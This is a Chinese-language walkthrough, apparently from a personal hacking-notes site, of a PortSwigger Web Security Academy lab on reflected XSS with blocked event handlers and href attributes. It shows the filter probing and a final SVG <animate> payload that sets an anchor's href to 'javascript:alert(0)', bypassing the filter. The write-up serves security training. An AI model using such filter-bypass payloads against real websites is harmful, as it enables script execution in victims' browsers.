> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-with-blocked-events-and-href-attributes.md).

# 带被阻止事件和 href 属性的 XSS

带被阻止事件和 href 属性的 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 通过事件处理器和 href 属性被阻止的反射型 XSS

实验 d 该操作必须注入一个带有以下文字的可点击元素 **"点击"** （或等效内容）并触发 `alert()` 在点击时。

插入一个带有以下文字的可见元素 **点击** 当用户点击它时，会执行 `alert()` 尽管禁止事件处理器和 `href`.

```javascript
<script>
```

* 插入 `<script>` 返回： *不允许该标签*.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1316ca1ba67d36888ded2cf56c151a1b2fa1f21e%2Fimage%20(404).png?alt=media" alt=""><figcaption></figcaption></figure>

* 该 `<a>` 标签被接受（例如 `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e0aa4a451fd6594f5d219cb35a39e0ecdc711f%2Fimage%20(405).png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

该 `href` 属性被拒绝 — `href="JavaScript:..."` 被阻止。

```javascript
<a href="javascript:alert(0);"点击我</a>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfe2ceb6f9051dee18a984c1a6331a902a6e97fc%2Fimage%20(406).png?alt=media" alt=""><figcaption></figcaption></figure>

* 允许 SVG 元素（`<svg>` 被接受）。

```javascript
<svg>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ee9d764293ec3cbc9f953fefb54a7a2d0bbac1a%2Fimage%20(407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* SVG 动画元素（例如 `<animate>`）似乎存在且可利用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d7ecc4ff55d20ab9571418bdeae2e164123c29%2Fimage%20(408).png?alt=media" alt=""><figcaption></figcaption></figure>

**尝试 —**

* 注入 `<script>` → 被拒绝。
* 使用 `<a href="JavaScript:...">` → 禁止的属性。
* 通过结合 SVG 和动画元素来绕过阻止，将一个 `href` 值传递给锚点，从而尝试执行 `JavaScript:alert(0)` 在点击时。

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>点击我！</script></a>
```


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